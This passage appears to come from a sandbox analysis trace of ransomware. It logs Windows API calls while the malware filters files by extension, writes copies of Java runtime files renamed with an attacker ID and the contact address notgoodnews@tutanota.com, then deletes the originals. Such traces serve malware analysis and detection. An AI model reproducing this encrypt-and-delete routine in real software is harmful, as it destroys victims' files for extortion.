(lpString=".xlsx") returned 5 [0159.429] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0159.429] lstrlenW (lpString=".ppt") returned 4 [0159.429] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0159.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.429] lstrlenW (lpString=".zip") returned 4 [0159.429] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0159.429] lstrlenW (lpString=".rar") returned 4 [0159.429] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0159.429] lstrlenW (lpString=".bz2") returned 4 [0159.429] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0159.429] lstrlenW (lpString=".7z") returned 3 [0159.429] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0159.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.429] lstrlenW (lpString=".dbf") returned 4 [0159.429] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0159.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.429] lstrlenW (lpString=".1cd") returned 4 [0159.429] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0159.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.429] lstrlenW (lpString=".jpg") returned 4 [0159.429] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0159.429] lstrcmpiW (lpString1=".pf", lpString2=".NEWS") returned 1 [0159.430] lstrlenW (lpString="CIEXYZ.pf") returned 9 [0159.430] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.430] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=51236) returned 1 [0159.430] CloseHandle (hObject=0x434) returned 1 [0159.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0159.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.431] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.431] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.431] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.431] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0159.731] GetLastError () returned 0x0 [0159.731] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0xc824, lpOverlapped=0x0) returned 1 [0159.735] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xc830, lpOverlapped=0x0) returned 1 [0159.739] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.739] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xe6, lpOverlapped=0x0) returned 1 [0159.739] SetEndOfFile (hFile=0x454) returned 1 [0159.739] CloseHandle (hObject=0x454) returned 1 [0159.739] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.739] SetEndOfFile (hFile=0x434) returned 1 [0159.743] CloseHandle (hObject=0x434) returned 1 [0159.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.743] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0159.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.744] lstrlenW (lpString=".doc") returned 4 [0159.744] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0159.744] lstrlenW (lpString=".docx") returned 5 [0159.744] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0159.744] lstrlenW (lpString=".pdf") returned 4 [0159.745] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString=".xls") returned 4 [0159.745] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString=".xlsx") returned 5 [0159.745] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0159.745] lstrlenW (lpString=".ppt") returned 4 [0159.745] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.745] lstrlenW (lpString=".zip") returned 4 [0159.745] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString=".rar") returned 4 [0159.745] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString=".bz2") returned 4 [0159.745] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString=".7z") returned 3 [0159.745] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0159.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.745] lstrlenW (lpString=".dbf") returned 4 [0159.745] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.745] lstrlenW (lpString=".1cd") returned 4 [0159.745] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.745] lstrlenW (lpString=".jpg") returned 4 [0159.745] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.745] lstrlenW (lpString=".doc") returned 4 [0159.745] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString=".docx") returned 5 [0159.745] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0159.745] lstrlenW (lpString=".pdf") returned 4 [0159.745] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0159.745] lstrlenW (lpString=".xls") returned 4 [0159.746] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0159.746] lstrlenW (lpString=".xlsx") returned 5 [0159.746] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0159.746] lstrlenW (lpString=".ppt") returned 4 [0159.746] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0159.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.746] lstrlenW (lpString=".zip") returned 4 [0159.746] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0159.746] lstrlenW (lpString=".rar") returned 4 [0159.746] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0159.746] lstrlenW (lpString=".bz2") returned 4 [0159.746] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0159.746] lstrlenW (lpString=".7z") returned 3 [0159.746] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0159.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.746] lstrlenW (lpString=".dbf") returned 4 [0159.746] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0159.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.746] lstrlenW (lpString=".1cd") returned 4 [0159.746] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0159.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0159.746] lstrlenW (lpString=".jpg") returned 4 [0159.746] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0159.746] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0159.746] lstrlenW (lpString="content-types.properties") returned 24 [0159.746] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.747] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5548) returned 1 [0159.747] CloseHandle (hObject=0x434) returned 1 [0159.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0159.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.747] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.748] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.748] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0159.748] GetLastError () returned 0x0 [0159.748] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x15ac, lpOverlapped=0x0) returned 1 [0159.751] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x15b0, lpOverlapped=0x0) returned 1 [0159.752] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.752] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x104, lpOverlapped=0x0) returned 1 [0159.752] SetEndOfFile (hFile=0x454) returned 1 [0159.752] CloseHandle (hObject=0x454) returned 1 [0159.752] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.752] SetEndOfFile (hFile=0x434) returned 1 [0159.755] CloseHandle (hObject=0x434) returned 1 [0159.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.755] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0159.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.756] lstrlenW (lpString=".doc") returned 4 [0159.756] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.756] lstrlenW (lpString=".docx") returned 5 [0159.756] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.756] lstrlenW (lpString=".pdf") returned 4 [0159.756] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.756] lstrlenW (lpString=".xls") returned 4 [0159.756] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.756] lstrlenW (lpString=".xlsx") returned 5 [0159.756] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.756] lstrlenW (lpString=".ppt") returned 4 [0159.756] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.757] lstrlenW (lpString=".zip") returned 4 [0159.757] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.757] lstrlenW (lpString=".rar") returned 4 [0159.757] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.757] lstrlenW (lpString=".bz2") returned 4 [0159.757] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.757] lstrlenW (lpString=".7z") returned 3 [0159.757] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.757] lstrlenW (lpString=".dbf") returned 4 [0159.757] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.757] lstrlenW (lpString=".1cd") returned 4 [0159.757] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.757] lstrlenW (lpString=".jpg") returned 4 [0159.757] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.757] lstrlenW (lpString=".doc") returned 4 [0159.757] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.757] lstrlenW (lpString=".docx") returned 5 [0159.757] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.757] lstrlenW (lpString=".pdf") returned 4 [0159.757] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.757] lstrlenW (lpString=".xls") returned 4 [0159.757] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.757] lstrlenW (lpString=".xlsx") returned 5 [0159.757] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.757] lstrlenW (lpString=".ppt") returned 4 [0159.757] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.757] lstrlenW (lpString=".zip") returned 4 [0159.757] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.758] lstrlenW (lpString=".rar") returned 4 [0159.758] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.758] lstrlenW (lpString=".bz2") returned 4 [0159.758] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.758] lstrlenW (lpString=".7z") returned 3 [0159.758] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.758] lstrlenW (lpString=".dbf") returned 4 [0159.758] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.758] lstrlenW (lpString=".1cd") returned 4 [0159.758] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0159.758] lstrlenW (lpString=".jpg") returned 4 [0159.758] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.758] lstrcmpiW (lpString1=".data", lpString2=".NEWS") returned -1 [0159.758] lstrlenW (lpString="currency.data") returned 13 [0159.758] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.759] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4122) returned 1 [0159.759] CloseHandle (hObject=0x434) returned 1 [0159.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0159.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.759] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.759] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.760] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.760] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0159.760] GetLastError () returned 0x0 [0159.760] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x101a, lpOverlapped=0x0) returned 1 [0159.762] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1020, lpOverlapped=0x0) returned 1 [0159.763] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.763] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xee, lpOverlapped=0x0) returned 1 [0159.764] SetEndOfFile (hFile=0x454) returned 1 [0159.764] CloseHandle (hObject=0x454) returned 1 [0159.764] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.764] SetEndOfFile (hFile=0x434) returned 1 [0159.767] CloseHandle (hObject=0x434) returned 1 [0159.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.768] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0159.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.769] lstrlenW (lpString=".doc") returned 4 [0159.769] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0159.769] lstrlenW (lpString=".docx") returned 5 [0159.769] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0159.769] lstrlenW (lpString=".pdf") returned 4 [0159.769] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0159.769] lstrlenW (lpString=".xls") returned 4 [0159.769] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0159.769] lstrlenW (lpString=".xlsx") returned 5 [0159.769] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0159.769] lstrlenW (lpString=".ppt") returned 4 [0159.769] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0159.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.769] lstrlenW (lpString=".zip") returned 4 [0159.769] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0159.769] lstrlenW (lpString=".rar") returned 4 [0159.769] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0159.769] lstrlenW (lpString=".bz2") returned 4 [0159.769] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0159.769] lstrlenW (lpString=".7z") returned 3 [0159.769] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0159.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.769] lstrlenW (lpString=".dbf") returned 4 [0159.769] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0159.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.769] lstrlenW (lpString=".1cd") returned 4 [0159.769] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0159.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.769] lstrlenW (lpString=".jpg") returned 4 [0159.769] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0159.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.770] lstrlenW (lpString=".doc") returned 4 [0159.770] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0159.770] lstrlenW (lpString=".docx") returned 5 [0159.770] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0159.770] lstrlenW (lpString=".pdf") returned 4 [0159.770] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0159.770] lstrlenW (lpString=".xls") returned 4 [0159.770] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0159.770] lstrlenW (lpString=".xlsx") returned 5 [0159.770] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0159.770] lstrlenW (lpString=".ppt") returned 4 [0159.770] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0159.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.770] lstrlenW (lpString=".zip") returned 4 [0159.770] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0159.770] lstrlenW (lpString=".rar") returned 4 [0159.770] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0159.770] lstrlenW (lpString=".bz2") returned 4 [0159.770] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0159.770] lstrlenW (lpString=".7z") returned 3 [0159.770] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0159.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.770] lstrlenW (lpString=".dbf") returned 4 [0159.770] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0159.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.770] lstrlenW (lpString=".1cd") returned 4 [0159.770] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0159.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0159.771] lstrlenW (lpString=".jpg") returned 4 [0159.771] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0159.771] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0159.771] lstrlenW (lpString="messages.properties") returned 19 [0159.771] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), 